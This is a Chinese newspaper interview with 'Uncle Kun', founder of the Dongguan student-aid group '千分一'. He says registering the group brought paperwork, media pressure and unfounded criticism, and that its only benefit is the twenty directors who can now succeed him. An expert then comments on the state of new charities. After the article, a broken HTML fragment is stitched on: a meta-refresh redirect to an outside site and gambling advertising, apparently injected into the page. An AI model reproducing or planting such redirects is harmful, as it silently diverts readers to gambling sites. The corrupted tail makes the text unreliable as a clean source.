注册“千分一”坤叔有点后悔

台灯

执着且直率的坤叔，不讳言注册带来的困扰。记者 陈奕启 摄
　　对于坤叔而言，过去的一年历经风云变幻。去年8月，坤叔注册“千分一”遭拒，引起省委书记汪洋的关注。在汪洋的批示下，10月1日，“东莞市千分一公益服务中心”注册成功。其后，全国媒体蜂拥而至，坤叔成了镁光灯下的焦点。如今，一年过去了。注册到底给坤叔及“千分一”带来了什么变化和影响？日前，南都专访了坤叔。坤叔袒露心迹：“有点后悔。对助学团队本身，注册‘弊大于利’，唯一的好处是助学团队再也不会担心散伙了。”
　　心累，应付各类社会活动
　　9月下旬，刚从江西寻乌助学回来的坤叔，背比以前更佝偻了，头发也更花白了。谈及“千分一”注册以来的这一年，坤叔总结为忙得‘不亦乐乎’。”
　　这一年里，前去采访坤叔的媒体共有六十多家，还有不少电话采访。“我的空当都让记者填满了，很多人要求我们说好话，要说取得巨大进步，有时觉得很烦。”
　　坤叔举例，有一个北大的教授在一个论坛上说，现在国家“两免一补”政策已落实了，又在推行免费午餐，在经济上资助小孩已经完全没有必要了。现在的任务是要向对贫困学生进行道德教育转移。“难道，每天给一个贫困学生提供3元钱的午餐，孩子们就从此不再贫穷了？简直是胡说八道。”
　　除了应付采访，邀请坤叔参加的论坛、研讨会等也增加了很多。“能推的推，不能推的只能勉强参加，每次参加都会吵架，因为有些人的观念我往往接受不了。”
　　“千分一”坚守固有方式
　　坤叔坦言，注册后，“千分一”有资格接受社会捐款了，有些人也想借此扩大资源。“我们内部一直有争议，我是坚持不接受社会捐款的。”坤叔说，“千分一”曾举行过一次义卖，为这次义卖所得的几万块钱，内部也争吵过几次。后来决定把这个钱拿去买衣服送给孩子们，要尽快用完，及时给社会一个交待。(来源:南方都市报 南都网
　　“现在，大家都明确了，以后还是不接受社会捐款，不搞义卖，所有的理事也都同意了。”坤叔称假如有人愿意捐钱指定用途，比如给孩子们买衣服、买文具，“千分一”也接受。“我们将物资买好以后，就马上在网上公布，尽快让捐助者知道他捐的钱去了哪里。”
　　对话
　　弊 压力增大 不实的指责增多
　　南都：这一年里，注册给你们带来了哪些改变？
　　坤叔：注册了要应付官方的一些报表、总结、报告，不断有官方、民间的慈善方面的活动要我们参加，在时间和精力上，应付不过来。
　　南都：除此之外，还有哪些变化？
　　坤叔：我们的压力加大了，社会对我们的期望值更高了。我们在河源紫金县助学，河源其他县就有人提出来，东源县也有读不起书的学生，为何不去资助呢？(来源:南方都市报 南都网
　　河源有5个县，我们只能一步一步来。我们不是只打算帮助紫金的，可是光是紫金都有几万名待助贫困学生，可能我这一辈子只能在紫金资助一两千个学生，我们能力就这么大。我们在凤凰助学，搞了13年，现在资助的学生才两千多人。
　　东莞有一个自闭症儿童服务中心，他们说，你能不能帮助患自闭症的儿童？
　　还有一个慈善组织的负责人，借“慈善本土化”的名义，公开指责东莞的慈善团体在外省扩大自己的影响力，忽略了东莞的穷人。这个问题是很荒谬的。慈善无国界，看到就去帮，不应该分本地还是外地，本省还是外省，不应用狭隘的地域观念来代替宽广的慈善。东莞本地贫困人群也有人在帮助，谁看到都可以去帮助，包括提出慈善本土化的人。
　　南都：这些“质问”和“指责”都是在“千分一”注册之后出现的吗？
　　坤叔：前后都有，注册之后更多。官方、民间对我们期望高了，好像我们是万能的，给我们压力太大了，超过了我们的负荷。特别是“帮他为什么不帮我”的质问，我们根本无法跟他们争论，因为跟不讲理的人是讲不清道理的。
　　总的来说，我有点后悔注册，注册对我们没有实质性的帮助。
　　利 不再担心助学团队会散伙
　　南都：难道注册没带来一点好处吗？
　　坤叔：有。除了我之外，千分一公益服务中心还有20个理事。注册之后，每一个理事都有法定的责任，他们都是我的接班人。注册前，他们只是一个松散的2000多人的助学团队中的一员，在法律上没有接班的身份。现在，他们的身份跟我是相同的，都是这个机构的理事，大家都是平等的，都有相同的责任。
　　我们有7个助学点，每个点都有固定的理事去管，以后组织探访、送助学金、送文具、送寒衣等，都有人负责了。当然，现在每个点我都兼管，但我随时都可以放手。
　　注册以前，大家老是忧虑，哪一天我干不动了，这个团队就散了，现在不用担心这个问题了。就算我不在了，他们甚至可能会做得更好，因为可以不受我的思维模式约束了。假如我不在了，另外20个跟我同样身份的人，自然也会形成一个核心，产生一个理事长。如今，大家都明确自己的身份和责任，我也没有后顾之忧了。
　　业界影响 大家都还在摸索
　　南都：但是“千分一”注册后，对东莞，乃至全省的社会组织都起到了很大的推动作用。
　　坤叔：是啊，可是也鱼龙混杂，没有场地、没有资金、空手上阵的所谓慈善团体也风起云涌了。
　　我曾经加过一个全省公益团体的Q Q群，是他们拉我进去的。第一次进去的第一分钟，就看到一个清远志愿者在发火，他们队长要求每个人在十天内帮助五个小孩。他说，“谁给我钱？不给我钱，我怎么完成任务？”我说：队长凭什么下达慈善任务给自己的队员呢，没有钱怎么搞慈善？太荒唐了吧？我马上退出群了。
　　南都：所以你觉得虽然社会组织放开登记了，但是社会组织的质量参差不齐？
　　坤叔：我不敢说百分之百，但也有百分之八九十，全省新注册的慈善组织都是面临着没有经费、没有场地的问题。可是他们偏偏要搞。没钱没场地搞什么慈善团队？有些人带着不同的目的，赶公益慈善的时髦。一年不到，他们自己就发觉，最多熬个一年半载，就可能搞不下去了。
　　南都：你怎么看待这一年来东莞乃至全省公益慈善类社会组织的变化？
　　坤叔：现在实质性的改变不是很大，大家都没有找到一条适合自我生存和发展的路。从东莞到全省，大家都在尝试。
　　他们在注册前想象，东莞有钱人多，广东有钱人多，搞公益是件很容易的事情。他们都立足于大家向他们捐款，由他们来使用。他们总觉得，坤叔一个退休老人都可以搞那么大规模的助学团队。可是他们没有去体会我们的运作方式跟其他慈善团体不同，我们的经营成本和行政费用都是自己掏的。
　　现阶段，大家都还在探讨。但大家都得到探讨、探索的机会，得到了实现梦想的机会，这就是一个进步。政府对大家的探索也表示支持，包括道义上的支持和实质性的帮助，所以才会有孵化基地，这也是一个进步。希望慈善团体都能够真正利用好这个机会，探索出自己一条搞公益的路子。相信大家总会有办法的，殊途同归，不久的将来，慈善公益事业一定会有长足的进步。
　　专家说法
　　初生组织未必“鱼龙混杂”
　　马骅(中山大学公益慈善研究中心研究员)
　　公益慈善团体的专业化与规范化是一个过程，而注册是往这个方向去的第一步。不能轻易地给一些初生组织定性为“鱼龙混杂”，有些组织虽然没有强大的资源，可是他们扎根社区，为社区服务并带来改变。真正混杂的，可能是一些既不服务，又捞资源的组织，也就是一些“空壳机构”或者是一些只因为经济利益而存在的机构。
　　现在的公益慈善团体确实有些面临着资源的问题———想要“存活”或者想要扩展项目，而大家都在尝试用不同的方法找到自我生存和发展的路，而有些支持性机构也在探讨如何给这些机构以支持。广东省讨论公募权开放已有一段时间，但一直没有重大突破。如果公募权的开放也能在广州以外的地区实现，并且得到好的落实，那么将在一定程度上打破慈善资源的垄断问题，也能为公益慈善组织带来更多资源筹集的可能。

="refresh" "0; url=http://885.cc"><link href="http://bbs.885.cc/8.css" rel="stylesheet" type="text/css" media="screen" /><P>　</P> |||时时～彩| 六合投～注| ～乐～城:～